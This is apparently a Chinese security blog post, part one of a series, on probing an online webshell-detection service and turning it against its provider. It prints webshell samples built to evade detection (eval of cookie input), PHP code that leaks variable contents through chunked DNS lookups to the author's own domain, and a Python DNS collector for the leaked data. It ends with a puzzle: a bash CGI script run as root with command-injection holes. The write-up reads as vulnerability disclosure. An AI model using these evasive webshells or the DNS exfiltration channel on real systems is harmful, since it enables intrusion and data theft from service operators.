利用恶意软件检测服务向服务提供商植入恶意软件1
2016-10-24 10:06:58这个恶意软件检测服务的关注点主要在恶意的web脚本代码,即webshell上。服务的具体形态是:上传脚本文件(支持压缩包),然后服务在后台对上传的文件进行检测,完毕后显示有所上传文件中有哪些文件是恶意脚本,以类似如下的形式:
------------------------------------
/e.php 中国菜刀变形
/index.php 正常
/upload.php 正常
/lib/core.class.php 正常
/lib/wtf.class.php 正常
...
------------------------------------
我会按照如下顺序介绍对这个检测引擎的测试:
- 基本原理测试 / 针对该引擎的免杀
- 实现引擎与外部交互的数据通道
- 实现本地IO操作 / 任意代码执行
基本原理测试 / 针对该检测的免杀
这个检查系统的官方介绍中提到是“动态监测技术”,通过下文所述的测试,可以发现这个系统是通过评估脚本中每个操作和其运行结果(包括字符串操作、压缩解压、动态执行等),来检测脚本代码中是否含有特定行为来判断对应脚本是否恶意。这里很重要的一点是检查引擎实现的操作都有什么,这些操作是否有些行为我们可以利用来做坏事,比如IO、进程控制等典型高危操作。
这个方案最简单的实现方式是修改一个php解释器,然后在关注的操作处进行行为审计来判断脚本是否恶意。一个显而易见需要注意的地方就是因为php解释器的功能是完全实现的,所以其所实现的IO和进程操作接口可能导致检测脚本对检测引擎本身所在环境产生一些不期望的更改,因此这个方案需要修改这些编程接口的行为来保证检测引擎不会因执行脚本内容而意外的修改自身所处的环境。
这里还有一个问题,在脚本出现分支结构的情况下,如果执行时环境(远端内容、当前时间)不符合某些代码块的执行条件,有些代码逻辑就执行不到。这时候如果不作处理就会出现漏判,也就造就了一种免杀方法。所以最好要做到遍历程序的所有执行路径。如果不是全量对程序执行路径进行分片,一个比较简单的方法是解释器忽略所有跳转语句,一直按照指令执行下去,如此就把if/switch之类的分支结构都磨平了。这里值得注意的一点是需要注意处理exit/return等退出函数防止检查提前终止。
这个方法虽然防止了某些免杀方法,实现起来也很容易,但是却使得检测器和真实解释器在行为上有了不一致。对客体的处理在模型以及行为上的不一致往往导致对相同对象的不同理解。这在检测系统上通常意味着导致规避检测,这种情况在对WAF/NIDS上的exploit FUD、对杀毒软件的免杀等各个检测系统上均有体现。
如按照以上思路实现,依具体代码实现而异,可以快速想到有如下可能的方式对webshell做免杀:
第一种是利用对return的处理不当:
<?php if(0) return 1;
eval($_COOKIE['id']);
下面是这段代码的opcode,在判断脚本结束时,正确的做法是在执行一个代码块时,首先取到op的个数,比如在官方php实现中zend_op_array
结构中的last记录了当前op数组的大小,直到把所有opcode执行完毕。这里实现有一个容易出现的错误,就是以顶层的RETURN 1作为脚本结束的标志,因为php在脚本结束时总会返回1来使执行循环execute_ex跳回上层代码段,如下面的第五行:
#* op fetch ext return operands
-------------------------------------------------
0 JMPZ 0, ->2
1 RETURN 1
2 FETCH_R global $0 '_COOKIE'
3 FETCH_DIM_R $1 $0, 'id'
4 INCLUDE_OR_EVAL $1, EVAL
5 RETURN 1
第二种是通过逻辑分支抹去变量污点:
<?php
@$a = $_COOKIE['id'];
$b='test';
if (1) {
$c = $a;
} else {
$c = $b;
}
@eval($c);
因为解释器忽略了跳转语句,所以污点变量在检测引擎的解释下,会被赋值两次。第二次赋值后变白。
当然如果我们实现自己一个替换方法,对外部的污点变量和脚本内静态字符串匹配替换,或者结合多个文件、动态加载等功能同样可能实现对此类系统免杀,但上面这两段代码利用点单一,可以辅助我们理解检测系统的实现机制。
以上两个免杀代码在这个系统最初公开发布的时候都是有效的。但是目前第一种失效了,第二种仍然可以免杀。
我们测试下未被调用到的代码块是否在检查范围内:
<?php
function a() {
eval($_GET['id']);
}
如上代码会被判定为安全,说明这个系统只从脚本入口开始执行,然后依次检查所有被调用到的代码块。
基于以上的测试,我们可以推断最初对检测模型的猜测在思路上是大致正确的。
实现与外部交互的数据通道
目前对于这个服务,我们已知的是通过上传php文件可以在其上运行一部分自定义代码,但是我们还不知道到底哪些IO操作会被真正执行、哪些操作根本没有被解释器实现。另外该服务仅仅会返回该文件是否是webshell,对于我们脚本的运行的结果,包括标准输出、退出状态等都获取不了任何信息。所以首要工作是获取一个解释器和外部通信的通道。
这里我就把两次提交的问题合并在一起写了。我会只着重写我的解决方法和我认为有必要的思考过程。
我首先测试的是mysql_connect
,由于这个服务所属的公司比较著名,所以他们公司内网门户的地址是大家都知道的。首先测试mysql_connect("someportal.com:80")
,前端报检测超时,显然是在等待网络IO;测试外网机器mysql_connect("hellmyhero.hackshell.net:80")
发现外网机器没有收到流量,这说明通过mysql_connect
我们可以对内网机器发送数据,却不能对外网做相应的操作。那么这个限制是在哪里做的?如果他们在引擎实现时照顾到了mysql_connect
这个点,则他们没有理由在代码层面允许内网连接而不允许外网连接。所以这里可以推测这个外网限制是在所在机器的操作系统或者网络设备层面做出的限制,事后得知这里是机器路由表里只有对内网的路由项。
所以我们在底层就被限制住了连接不到公网。那么在现在的情况下我们想把php的运行结果输出到外网。我这里想到了两个方法。
第一次提交漏洞时想到的通道是dns解析,经典的企业内网传输信道:
<?php
$a='test';
gethostbyname($a.".hellmyhero.hackshell.net");
经测试这里我们可以把$a变量的内容传送出来。其原理是虽然本机所有对外网的访问都被隔绝了,但是dns查询请求会被隔离的本机发往本地缓存dns发送请求,本地dns会向该域(hellmyhero.hackshell.net)的权威dns发起查询。之后hellmyhero.hackshell.net的ns记录所对应的机器就会收到被转发出来的流量:
> tcpdump -i eth0 dst port 53 and dst host 1.1.1.1
03:14:45.706231 IP 1.1.1.1.8237 > test.domain: 25829+ A? test.hellmyhero.hackshell.net. (47)
其中test就是刚刚变量$a的内容。这里用tcpdump的好处是不用自己编程解析dns请求,劣处是没有返回dns响应,客户端会重试从而产生多条记录。
这里有一个问题,就是一个域名的长度是限制的,我们发送不了过长内容,另外根据客户端实现,请求内可含有的可用字符也受限制。所以需要分割,并做简单编码:
$a=str_replace('/', '-', base64_encode(trim($a)));
for ($i=0,$j=1;$i < 100000; $i+=63,$j++) {
@gethostbyname($j.substr($a, 0, 63) . '.hellmyhero.hackshell.net');
}
不过这样并不可行,因为解释器做了修改,所有的跳转语句都被抹去,所以该脚本运行后,循环体只会执行一次。因此需要显式的写明所有语句:
$a=str_replace('/', '-', base64_encode(trim($a)));
@gethostbyname('1.'.substr($a, 0, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('2.'.substr($a, 63, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('3.'.substr($a, 126, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('4.'.substr($a, 189, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('5.'.substr($a, 252, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('6.'.substr($a, 315, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('7.'.substr($a, 378, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('8.'.substr($a, 441, 63) . '.hellmyhero.hackshell.net');
@gethostbyname('9.'.substr($a, 504, 63) . '.hellmyhero.hackshell.net');
//still goes on...
文章写到这里发现这个逻辑应该可以通过递归来更简便的实现,以下代码没有在目标环境测试:
function send() {
static $i=0, $j=1;
@gethostbyname($j.substr($a, 0, 63) . '.hellmyhero.hackshell.net');
$i+=63;$j++;
if($i >= 1000) return;
return send();
}
前面的序号是为了应对乱序请求。同时写一个服务端,解析dns请求,拼装字符串做解码,并返回dns响应内容,防止dns客户端多次重试增加脚本执行成本。
利用原生socket和dnspython模块的to_wire
/from_wire
方法可以很容易的实现一个dns服务器。demo代码:
def print_echo():
global echo_text
i = 1
base64ed = ""
while True:
if i not in echo_text:
print "[i] missing segment %d" % i
break
base64ed += echo_text[i]
i += 1
base64ed = base64ed.replace('-', '/')
open('./base', 'w').write(base64ed)
print "task result: %s" % base64.decodestring(base64ed)
echo_text = {}
return True
def deal_a(msg):
global echo_text
q = msg.question[0]
ret = dns.rrset.from_text('example.com', 10, q.rdclass, q.rdtype, '123.58.180.8')
msg.answer = [ret,]
msg.flags = 0x8500
return msg
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('', 53))
echo_text = {}
try:
msg, addr = s.recvfrom(8192)
x = dns.message.from_wire(msg)
q = x.question[0]
print q.name.to_text()
x = deal_a(x)
if x is None:
continue
s.sendto(x.to_wire(), addr)
except (KeyboardInterrupt, SystemExit):
print_echo()
这里还有一个问题是多次gethostbyname会使脚本超时被杀。我的解决方法是利用该服务的压缩包检测功能,可以把多个substr放到多个文件里面,用脚本生成多个文件去检测,而域名前面的序号会照顾乱序的问题。
以上问题加上后面命令执行的问题提交后,检测引擎和内网的缓存dns的通信也被阻隔了(可能是移除了/etc/resolv.conf,也可能是在底层添加了acl)。那么这种情况下是否还有其他方式可以把php中某个变量的内容传送出来?下周的第(二)部分会给出我的思路。同时欢迎大家把这个问题的相关思路或对本文的意见和建议写到下面评论,好的思路或者分析会有相应小奖励。
文后问题:
如下是一个运行在root用户下的CGI程序,请说出可能的达成命令执行攻击的方法。
代码这么多,肯定不是简单的注入
#!/bin/bash
[ -f /scripts/utils.sh ] && . /scripts/utils.sh
type -t do_log | grep -q function && do_log "Interface called @ `date`"
urldecode() {
local url_encoded="${1//+/ }"
printf '%b' "${url_encoded//%/\\x}"
}
oIFS=$IFS
IFS=$'\n';
for i in `env`;do
eval "${i%%=*}=\`urldecode \$${i%%=*}\`";
done
IFS=$oIFS
echo
result=`curl http://sec.xiaomi.com/iface.php?id=$QUERY_STRING`
if [ "x$result" = "x" ]; then
echo "ok";
else
echo "failed: $result";
fi